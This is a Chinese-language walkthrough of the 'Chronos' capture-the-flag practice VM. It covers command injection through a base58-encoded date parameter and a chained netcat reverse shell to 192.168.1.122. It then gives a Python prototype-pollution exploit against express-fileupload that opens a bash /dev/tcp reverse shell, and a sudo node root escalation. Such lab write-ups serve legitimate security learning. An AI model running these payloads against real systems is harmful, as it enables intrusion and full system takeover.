当前位置: 首页 > news >正文

3、Chronos

中级难度,目标拿到root权限和两个flag

将靶机和kali放到同一个网段下面

先探测一下靶机的存活

netdiscover -i eth0 -r 192.168.1.0/24

做端口扫描

访问80端口只有一段话

8000端口估计就是80端口从这里加载的资源,看页面的源码,会发现有一段js代码像是混淆过一样里面的变量名都是0x什么的

但是里面有一个数组,里面存放的东西像是一个请求头信息一样,还有一个url

这个地址的感觉就像是访问的这个本地的8000端口一样,,通过修改本地的hosts文件将ip和域名映射再次访问

发现显示了当前的时间

不过这里我一开始使用的Windows上面的浏览器去访问发现会显示。。。

用bp抓一下刷新页面的数据包

看数据包确实是实现了访问这个页面的功能

然后解码一下这个参数的值,这个并不是base64的编码方式

使用在线网站CyberChef

使用magic智能解码发现用的是base58

传递的参数是'+Today is %A, %B %d, %Y %H:%M:%S.'

第一眼看到的全都是这个格式化字符串,联想到字符串溢出漏洞,python中的format格式化好像还可以直接执行代码我记得。

但是没想到这里是Linux中的date命令。。。

验证是否存在命令执行漏洞,将;ls base58编码为 Lxfc 执行 ,可以看到成功返回了的当前目录的内容

既然可以执行命令就可以考虑反弹shell 了一般优先考虑nc

首先查看一下是否存在nc命令

尝试-e反弹bash发现失败了,只能使用nc串联的方式

;nc 192.168.1.122 4455 | /bin/bash | nc 192.168.1.122 5566

习惯性的上线msf

看了一下确定不是在docker中

靶机的要求是获取两个flag以及root权限

所以需要进行一波信息收集

查看一下passwd文件

发现存在一个imera用户,确实存在次用户的目录而且里面有一个user文件,但是很可惜这个文件访问不了。权限不够,也就是说此时需要进行一波提权。

尝试常见的提权方式,suid,sudo,内核溢出

前面两种尝试了没有发现可以提权的,内核溢出最后尝试怕把靶机打出问题了,先按照wp的思路来做

那就是在刚才的web文件中继续做信息收集

回到一开始的目录

都看一看文件的信息

发现次网站竟然是js搭建的,比较少见,使用的是express框架

源码里面有对输入的值进行解码判断黑名单但是没有做进一步的限制所以我们才可以执行命令反弹shell的

然后继续到处看看在上级目录发现

还有一个网站v2而且是root权限,有点东西

里面的几个文件夹都点开看了看,发现那个server.js中这个应该是一个网页在8080开发,感觉去查看了一下端口的开放情况

果然如此,是一个只对内开放的网站,不对外开放

还有就是这个express-fileupload一下子勾起了我的回忆,之前在打ctf的靶场的时候其实做过几种类型的题目,我记忆尤为深刻的就是第一次遇到的一个js网站的题目,那个时候我甚至不知道js还可以作为后端的语言去开发网站,但是的那个漏洞就是这个Upload依赖导致的,我暂时还不知道是不是存在这个问题。但是感觉很有可能

【有道云笔记】nginx泄露&node.js——BadProgrammer

有道云笔记

        看了wp果然如此确实是利用的此漏洞,这个漏洞现在分析的人比较多了,在网上一搜就可以找到相关的文章了。

有个利用条件

前面查看js源码刚好满足此条件。

利用网上的exp脚本执行反弹shell的操作

import requestscmd = 'bash -c "bash -i &> /dev/tcp/192.168.1.122/6677 0>&1"'# pollute
requests.post('http://127.0.0.1:8080', files={'__proto__.outputFunctionName': (None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})# execute command
requests.get('http://127.0.0.1:8080')

将此脚本放到靶机上去执行成功反弹回来了

没想到是这个imera的权限,不过正好可以查看一下之前看到的此用户下面的那个user.txt文件

里面应该就是其中一个flag

还有一个flag很有可能在root目录下面,但是权限不够访问不了目录。。。所以还是得想办法提权

在之前www的权限下面当时尝试的suid和sudo都失败了,换成了这个可以再尝试一次sudo提权,这一次有了不同的结果

很好,可以sudo提权了,通过使用这个node来实现提权

提权exp

sudo node -e 'child_process.spawn("/bin/bash", {stdio: [0,1,2]})'

child_process.spawn:Node.js中用于创建子进程的函数。

"/bin/bash":指定要运行的命令,这里是bash shell。

{stdio: [0,1,2]}:设置子进程的标准输入、输出和错误流。

相当于新建了一个shell出来,这里应该可是可以执行反弹的命令的

成功返回了root权限

也是成功拿到了另一个flag

到此本次打靶就结束了,还是挺有意思的,攻击只对本地开启的服务,所以还是得做好信息收集。真的很重要。同时又复习了一遍这个express的upload的依赖的漏洞利用以及利用node命令来提权的操作。

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 数学建模·模糊评价法
  • ffmpeg新旧函数对比
  • 微信视频号的视频怎么下载到本地?快速教你下载视频号视频
  • 算法训练营day11 栈与队列(栈的应用,单调队列,优先队列)
  • SSRF漏洞深入利用与防御方案绕过技巧
  • 多表联合的查询(实例)、对于前端返回数据有很多表,可以分开操作、debug调试教程
  • Linux开发讲课37--- ARM的22个常用概念
  • 初步探究Rust生态与图形界面编程
  • zookeeper在哪里能用到
  • Python-PLAXIS自动化建模技术与典型岩土工程
  • 【web】-sql注入-login
  • VSCode remote无法链接
  • 使机器人在执行任务倒快递
  • 【数智化CIO展】三一集团CIO吕青海:企业高速发展“数字化”是基础,“数智化”是升华...
  • MySQL黑马教学对应视屏笔记分享之聚合函数,以及排序语句的讲解笔记
  • 分享的文章《人生如棋》
  • 5、React组件事件详解
  • android 一些 utils
  • Apache的80端口被占用以及访问时报错403
  • JavaScript类型识别
  • Js基础知识(一) - 变量
  • LeetCode541. Reverse String II -- 按步长反转字符串
  • React 快速上手 - 06 容器组件、展示组件、操作组件
  • SAP云平台里Global Account和Sub Account的关系
  • underscore源码剖析之整体架构
  • vue 个人积累(使用工具,组件)
  • 前端临床手札——文件上传
  • scrapy中间件源码分析及常用中间件大全
  • ​一、什么是射频识别?二、射频识别系统组成及工作原理三、射频识别系统分类四、RFID与物联网​
  • # AI产品经理的自我修养:既懂用户,更懂技术!
  • #if等命令的学习
  • #NOIP 2014# day.1 T3 飞扬的小鸟 bird
  • $con= MySQL有关填空题_2015年计算机二级考试《MySQL》提高练习题(10)
  • (pytorch进阶之路)扩散概率模型
  • (笔试题)分解质因式
  • (笔试题)合法字符串
  • (二十四)Flask之flask-session组件
  • (接口封装)
  • (深入.Net平台的软件系统分层开发).第一章.上机练习.20170424
  • (转)es进行聚合操作时提示Fielddata is disabled on text fields by default
  • (转)jQuery 基础
  • ***监测系统的构建(chkrootkit )
  • .apk文件,IIS不支持下载解决
  • .NET CORE使用Redis分布式锁续命(续期)问题
  • .net 反编译_.net反编译的相关问题
  • .Net 知识杂记
  • .NET/C# 利用 Walterlv.WeakEvents 高性能地中转一个自定义的弱事件(可让任意 CLR 事件成为弱事件)
  • .net打印*三角形
  • .Net的DataSet直接与SQL2005交互
  • .NET序列化 serializable,反序列化
  • @EnableConfigurationProperties注解使用
  • [ 隧道技术 ] 反弹shell的集中常见方式(四)python反弹shell
  • [4.9福建四校联考]
  • [AIGC] Nacos:一个简单 yet powerful 的配置中心和服务注册中心
  • [BZOJ 4598][Sdoi2016]模式字符串